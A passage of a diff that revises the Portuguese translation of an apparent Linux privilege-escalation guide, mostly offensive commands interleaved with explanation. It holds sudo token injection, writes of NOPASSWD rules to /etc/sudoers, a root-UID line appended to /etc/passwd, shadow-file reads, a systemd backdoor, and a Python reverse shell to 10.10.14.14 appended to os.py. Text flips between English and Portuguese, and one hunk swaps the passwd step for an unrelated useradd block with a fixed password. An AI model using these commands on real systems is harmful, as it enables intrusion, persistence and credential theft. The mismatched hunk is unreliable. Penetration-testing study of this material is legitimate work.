privilégios: +Requirements to escalate privileges: -- Você já tem um shell como usuário "_sampleuser_" -- "_sampleuser_" tenha **used `sudo`** para executar algo nos **últimos 15mins** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem inserir nenhuma senha) -- `cat /proc/sys/kernel/yama/ptrace_scope` seja 0 -- `gdb` esteja acessível (você possa enviá-lo) +- Você já tem um shell como o usuário "_sampleuser_". +- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do sudo token que nos permite usar `sudo` sem inserir nenhuma senha) +- `cat /proc/sys/kernel/yama/ptrace_scope` é 0 +- `gdb` está acessível (você consiga enviá-lo) -(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -972,32 +973,32 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna **sudo tokens eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um token sudo para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar conhecer a senha executando: +Se você tem **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um user e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse user com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha executando: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você puder **ler** esse arquivo, poderá **obter algumas informações interessantes**, e se puder **escrever** qualquer arquivo, será capaz de **escalate privileges**. +**Se** você conseguir **read** este arquivo, poderá **obter algumas informações interessantes**, e se você puder **write** qualquer arquivo conseguirá **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você pode escrever, pode abusar dessa permissão. +Se você pode escrever, pode abusar desta permissão. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Outra maneira de abusar dessas permissões: +Outra forma de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1006,15 +1007,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que vai executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) de modo que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que quando o usuário executar sudo, seu executável sudo seja executado. -Note que se o usuário usar um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1037,10 +1038,10 @@ sudo ls O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde as **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. -Se por alguma razão **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode conseguir escalar privilégios.\ -Dê uma olhada em **como explorar essa má-configuração** na página a seguir: +Se, por algum motivo, **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração em `/etc/ld.so.conf.d/*.conf`, ele poderá conseguir escalar privilégios.\ +Veja **como explorar essa má-configuração** na página a seguir: {{#ref}} @@ -1082,9 +1083,8 @@ execve(file,argv,0); ``` ## Capacidades -Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os privilégios root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: - +As capacidades do Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isto divide efetivamente os privilégios de root em **unidades menores e distintivas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo o risco de exploração.\ +Leia a seguinte página para **aprender mais sobre capabilities e como abusar delas**: {{#ref}} linux-capabilities.md @@ -1093,13 +1093,13 @@ linux-capabilities.md ## Permissões de diretório Em um diretório, o **bit "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. +O bit **"read"** implica que o usuário pode **listar** os **arquivos**, e o bit **"write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. ## ACLs -Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capaz de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões aprimoram o controle sobre o acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são proprietários nem fazem parte do grupo. Esse nível de **granularidade assegura um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Conceda** o usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Conceda** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,14 +1110,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sessões shell abertas +## Abrir shell sessions -Em **versões antigas** você pode **hijack** alguma sessão **shell** de um usuário diferente (**root**).\ -Nas **versões mais recentes** você só poderá **conectar** a sessões screen do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ +Em **versões mais recentes** você só poderá **connect** em screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. ### screen sessions hijacking -**Listar sessões do screen** +**Listar screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1132,9 +1132,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isto era um problema com **versões antigas do tmux**. Não consegui realizar um hijack em uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. +Este era um problema com **versões antigas do tmux**. Eu não consegui sequestrar uma sessão do tmux (v2.1) criada por root como um usuário não privilegiado. -**Listar sessões tmux** +**Listar sessões do tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1152,53 +1152,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Confira **Valentine box from HTB** para um exemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug ocorre ao criar uma nova ssh key nesses SO, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a ssh public key você pode buscar pela private key correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Este bug acontece ao criar uma nova ssh key nesses SO, já que **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a ssh public key você pode procurar pela correspondente private key**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com strings de senha vazias. O padrão é `no`. +- **PermitEmptyPasswords**: Quando a autenticação por senha é permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. ### PermitRootLogin -Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode fazer login usando senha e private key -- `without-password` or `prohibit-password`: root só pode fazer login com private key -- `forced-commands-only`: root pode fazer login apenas usando private key e se as opções de comandos estiverem especificadas +- `yes`: root pode fazer login usando senha e chave privada +- `without-password` or `prohibit-password`: root só pode fazer login com chave privada +- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comando estiverem especificadas - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as public keys que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. For example: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos ao home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indica que, se você tentar entrar usando a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua chave com as que estão em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que, se você tentar fazer login com a **private** key do usuário "**testusername**", o ssh vai comparar a public key correspondente à sua private key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. +SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (sem passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e de lá **jump to another** host **using** the **key** localizada no seu **initial host**. -Você precisa definir essa opção em `$HOME/.ssh.config` assim: +Você precisa configurar esta opção em `$HOME/.ssh.config` da seguinte forma: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*` toda vez que o usuário saltar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Note que se `Host` for `*`, toda vez que o usuário saltar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). -O arquivo `/etc/ssh_config` pode **sobrescrever** estas **opções** e permitir ou negar esta configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). +O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). -Se você encontrar que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusar disso para escalate privileges**: +Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: {{#ref}} @@ -1209,26 +1209,26 @@ ssh-forward-agent-exploitation.md ### Arquivos de perfil -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você conseguir **escrever ou modificar qualquer um deles, você pode escalate privileges**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário abre um novo shell**. Portanto, se você conseguir **escrever ou modificar qualquer um deles, pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. -### Passwd/Shadow Files +### Arquivos passwd/shadow -Dependendo do OS, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar com um nome diferente ou pode existir um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) +Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo /etc/passwd (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Gravável /etc/passwd +### /etc/passwd gravável Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1236,20 +1236,19 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Então adicione o usuário `hacker` e inclua a senha gerada. +Crie o usuário `hacker` e defina a senha gerada: -```bash -PASSWORD='bN8!qz3@RdL6%eV2' +``` sudo useradd -m -s /bin/bash hacker -echo "hacker:$PASSWORD" | sudo chpasswd +echo 'hacker:p@S5w0rD!9xY&3Qz' | sudo chpasswd sudo chage -d 0 hacker ``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Agora você pode usar o comando `su` com `hacker:hacker` +Você agora pode usar o comando `su` com `hacker:hacker` Alternativamente, você pode usar as seguintes linhas para adicionar um usuário dummy sem senha.\ AVISO: isso pode degradar a segurança atual da máquina. @@ -1257,28 +1256,28 @@ AVISO: isso pode degradar a segurança atual da máquina. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por exemplo, se a máquina estiver executando um servidor **tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: +Por exemplo, se a máquina estiver executando um **tomcat** servidor e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Seu backdoor será executado na próxima vez que o tomcat for iniciado. +Your backdoor will be executed the next time that tomcat is started. -### Verificar pastas +### Verificar Diretórios -As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) +Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Owned files +### Local Estranho/Arquivos Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1299,7 +1298,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos DB Sqlite +### Arquivos DB do Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1311,12 +1310,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries em PATH** +### **Scripts/Binários no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Arquivos web** +### **Arquivos da web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1329,20 +1328,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ +Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log for, mais interessante ele provavelmente será.\ -Além disso, alguns **"ruim"** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ +Se você conseguir ler logs, pode encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log, mais interessante ele provavelmente será.\ +Além disso, alguns "**mal**" configurados (com backdoor?) **audit logs** podem permitir que você **registre senhas** nos audit logs, como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Arquivos Shell +### Arquivos de shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1355,59 +1354,59 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ``` ### Generic Creds Search/Regex -Você também deve procurar por arquivos contendo a palavra "**password**" no **nome** ou no **conteúdo**, e também verificar por IPs e emails em logs, ou por hashes/regexps.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve procurar por arquivos que contenham a palavra "**password**" no seu **nome** ou dentro do **conteúdo**, e também verificar por IPs e emails em logs, ou hashes regexps.\ +Não vou listar aqui como fazer tudo isso, mas se você estiver interessado pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. ## Writable files ### Python library hijacking -Se você souber de **onde** um script python será executado e você **puder escrever** nessa pasta ou puder **modify python libraries**, você pode modificar a OS library e backdoor it (se você puder escrever onde o script python será executado, copie e cole a os.py library). +Se você souber de **onde** um script python será executado e você **puder escrever dentro** dessa pasta ou puder **modificar bibliotecas python**, você pode modificar a biblioteca os e inserir um backdoor nela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor the library** basta adicionar ao final da os.py library a seguinte linha (change IP and PORT): +Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (troque IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Exploração do logrotate -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pais potencialmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante checar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Essa vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores +> Essa vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). +Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Essa vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se é possível escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se você pode escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **system is pwned**. +Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** **ajustar** um existente, então seu **sistema está pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Porém, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo depois do primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. -Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Nota: o espaço em branco entre Network e /bin/id_) +(_Observe o espaço em branco entre Network e /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` é o local de **scripts** para o System V init (SysVinit), o **clássico sistema de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e às vezes `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` é o lar de **scripts** para System 